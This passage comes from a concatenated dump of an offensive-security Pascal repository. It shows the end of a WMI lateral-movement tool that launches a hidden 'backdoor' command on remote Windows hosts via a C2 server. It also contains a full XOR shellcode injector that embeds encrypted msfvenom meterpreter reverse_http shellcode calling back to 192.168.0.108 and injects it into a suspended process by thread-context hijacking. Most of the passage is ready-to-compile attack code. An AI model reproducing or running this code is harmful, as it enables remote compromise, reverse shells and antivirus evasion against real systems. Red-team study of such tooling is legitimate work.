FWMIService.Get('Win32_ProcessStartup'); objConfig := FWbemObject.SpawnInstance_; objConfig.ShowWindow := HIDDEN_WINDOW; objProcess := FWMIService.Get('Win32_Process'); objProcess.Create(backdoor, null, objConfig, ProcessID); Writeln(Format('Pid %d',[ProcessID])); writeln('[+] task has been created successfully ..!'); end; procedure TLaterl.WriteHelp; begin { add your help code here } writeln('Usage: ', ExeName, ' -host windows10/7/server -srvhost C2C address -username Administrator -password P@ssw0rd '); end; var Application: TLaterl; begin Application:=TLaterl.Create(nil); Application.Title:='WmiLateral'; Application.Run; Application.Free; end. ================================================ FILE: WMI Lateral movement/readme.md ================================================ #### Usage lat.exe * -host { host would like to lateral move to } * -srvhost {remote C2 server holding backdoor such as powershell.exe cradles or any command wanna to pass } * -username { required for authentication} e.g domain\user or localaccounts * -password { required for authentications } #### Compiling * Download Lazarus IDE * open Project LPI or LPR * build ================================================ FILE: XOR Shellcode injection/injector.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="12"/> <PathDelim Value="\"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasTitleStatement Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <Title Value="injector"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes> <Item Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> </RunParams> <Units> <Unit> <Filename Value="injector.lpr"/> <IsPartOfProject Value="True"/> </Unit> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="injector"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> </CompilerOptions> <Debugging> <Exceptions> <Item> <Name Value="EAbort"/> </Item> <Item> <Name Value="ECodetoolError"/> </Item> <Item> <Name Value="EFOpenError"/> </Item> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: XOR Shellcode injection/injector.lpr ================================================ { this one is part of repo published on github under the name of Offensive Pascal Pascal is a great and still up to date :) these projects can be compilied using FreePascal (FPC) or Delphi author : @zux0x3a site : 0xsp.com / ired.dev https://github.com/0xsp-SRD/OffensivePascal } program injector; {$mode delphi} uses windows,Classes,strutils,sysutils; type TByteArray = array of byte; function Crypt(const aText: byte): tbyte; const PWD = 'a'; // key used for XOR begin result := byte(Ord(aText) xor Ord(PWD)); end; procedure inject_shell; const // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.0.108 LPORT=443 --encrypt xor --encrypt-key "a" -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2- shellcode:array[0..653] of BYTE = ( $9d,$29,$e2,$85,$91,$89,$ad,$61,$61,$61,$20,$30,$20,$31,$33, $29,$50,$b3,$30,$37,$04,$29,$ea,$33,$01,$29,$ea,$33,$79,$29, $ea,$33,$41,$2c,$50,$a8,$29,$ea,$13,$31,$29,$6e,$d6,$2b,$2b, $29,$50,$a1,$cd,$5d,$00,$1d,$63,$4d,$41,$20,$a0,$a8,$6c,$20, $60,$a0,$83,$8c,$33,$29,$ea,$33,$41,$ea,$23,$5d,$20,$30,$29, $60,$b1,$07,$e0,$19,$79,$6a,$63,$6e,$e4,$13,$61,$61,$61,$ea, $e1,$e9,$61,$61,$61,$29,$e4,$a1,$15,$06,$29,$60,$b1,$ea,$29, $79,$31,$25,$ea,$21,$41,$28,$60,$b1,$82,$37,$2c,$50,$a8,$29, $9e,$a8,$20,$ea,$55,$e9,$29,$60,$b7,$29,$50,$a1,$20,$a0,$a8, $6c,$cd,$20,$60,$a0,$59,$81,$14,$90,$2d,$62,$2d,$45,$69,$24, $58,$b0,$14,$b9,$39,$25,$ea,$21,$45,$28,$60,$b1,$07,$20,$ea, $6d,$29,$25,$ea,$21,$7d,$28,$60,$b1,$20,$ea,$65,$e9,$29,$60, $b1,$20,$39,$20,$39,$3f,$38,$3b,$20,$39,$20,$38,$20,$3b,$29, $e2,$8d,$41,$20,$33,$9e,$81,$39,$20,$38,$3b,$29,$ea,$73,$88, $2a,$9e,$9e,$9e,$3c,$29,$50,$ba,$32,$28,$df,$16,$08,$0f,$08, $0f,$04,$15,$61,$20,$37,$29,$e8,$80,$28,$a6,$a3,$2d,$16,$47, $66,$9e,$b4,$32,$32,$29,$e8,$80,$32,$3b,$2c,$50,$a1,$2c,$50, $a8,$32,$32,$28,$db,$5b,$37,$18,$c6,$61,$61,$61,$61,$9e,$b4, $89,$6f,$61,$61,$61,$50,$58,$53,$4f,$50,$57,$59,$4f,$51,$4f, $50,$51,$59,$61,$3b,$29,$e8,$a0,$28,$a6,$a1,$da,$60,$61,$61, $2c,$50,$a8,$32,$32,$0b,$62,$32,$28,$db,$36,$e8,$fe,$a7,$61, $61,$61,$61,$9e,$b4,$89,$e7,$61,$61,$61,$4e,$38,$29,$2e,$58, $31,$0e,$4c,$4c,$26,$14,$18,$03,$31,$11,$0e,$59,$4c,$39,$56, $05,$25,$30,$50,$08,$13,$37,$56,$0a,$03,$15,$3e,$0e,$58,$0c, $20,$33,$37,$2a,$2b,$00,$26,$3b,$28,$0a,$29,$0a,$06,$2c,$13, $29,$24,$37,$16,$1b,$2b,$4c,$05,$26,$30,$02,$22,$20,$54,$2f, $0b,$16,$59,$33,$29,$50,$31,$02,$0a,$0f,$0e,$30,$2c,$2d,$08, $14,$2e,$20,$57,$07,$07,$03,$0a,$23,$0a,$10,$35,$2e,$55,$05, $0c,$26,$00,$35,$2b,$2a,$59,$2a,$3e,$28,$18,$04,$2a,$09,$52, $0b,$27,$0b,$38,$57,$39,$2e,$1b,$52,$34,$07,$17,$0c,$55,$3e, $2e,$13,$2c,$0d,$3b,$35,$39,$00,$61,$29,$e8,$a0,$32,$3b,$20, $39,$2c,$50,$a8,$32,$29,$d9,$61,$63,$49,$e5,$61,$61,$61,$61, $31,$32,$32,$28,$a6,$a3,$8a,$34,$4f,$5a,$9e,$b4,$29,$e8,$a7, $0b,$6b,$3e,$32,$3b,$29,$e8,$90,$2c,$50,$a8,$2c,$50,$a8,$32, $32,$28,$a6,$a3,$4c,$67,$79,$1a,$9e,$b4,$e4,$a1,$14,$7e,$29, $a6,$a0,$e9,$72,$61,$61,$28,$db,$25,$91,$54,$81,$61,$61,$61, $61,$9e,$b4,$29,$9e,$ae,$15,$63,$8a,$ad,$89,$34,$61,$61,$61, $32,$38,$0b,$21,$3b,$28,$e8,$b0,$a0,$83,$71,$28,$a6,$a1,$61, $71,$61,$61,$28,$db,$39,$c5,$32,$84,$61,$61,$61,$61,$9e,$b4, $29,$f2,$32,$32,$29,$e8,$86,$29,$e8,$90,$29,$e8,$bb,$28,$a6, $a1,$61,$41,$61,$61,$28,$e8,$98,$28,$db,$73,$f7,$e8,$83,$61, $61,$61,$61,$9e,$b4,$29,$e2,$a5,$41,$e4,$a1,$15,$d3,$07,$ea, $66,$29,$60,$a2,$e4,$a1,$14,$b3,$39,$a2,$39,$0b,$61,$38,$28, $a6,$a3,$91,$d4,$c3,$37,$9e,$b4,$00); var pi: TProcessInformation; si: TStartupInfo; {$ifdef win32} ctx: Context; {$endif} {$ifdef win64} ctx : Pcontext; {$endif} remote_shellcodePtr: Pointer; {$ifdef win64} Written:dword64; {$endif} {$ifdef win32} Written:dword; {$endif} AppToLaunch: string; i ,s_size: Cardinal; tmp : array of byte; len: integer; begin // get length of shellcode len := length(shellcode); writeln('size of shellcode ', len); // set array of byte length to match size of shellcode setlength(tmp,len); writeln('[+] Decrypting shellcode'); for i := 0 to len -1 do begin tmp[i] := crypt(shellcode[i]); // process of decryption end; AppToLaunch := 'notepad.exe'; UniqueString(AppToLaunch); FillMemory( @si, sizeof( si ), 0 ); FillMemory( @pi, sizeof( pi ), 0 ); writeln('[+] Creating Process in Suspended Mode'); CreateProcess('c:\windows\system32\cmd.exe', PChar(AppToLaunch), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi ); {$ifdef win32} ctx.ContextFlags := CONTEXT_CONTROL; GetThreadContext(pi.hThread,ctx); {$endif} {$ifdef win64} ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE)); ctx.ContextFlags := CONTEXT_ALL; GetThreadContext(pi.hThread,ctx^); {$endif} //allocate the memory size remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT, PAGE_EXECUTE_READWRITE); // decryption section start here // write array of bytes into process memory WriteProcessMemory(pi.hProcess,remote_shellcodePtr,Tbytearray(tmp),s_size,written); {$ifdef win64} ctx.rip:=dword64(remote_shellcodePtr); //ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx^); ResumeThread(pi.hThread); {$ENDIF} {$ifdef win32} ctx.Eip:=integer(remote_shellcodePtr); ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx); ResumeThread(pi.hThread); {$endif} end; begin inject_shell; end.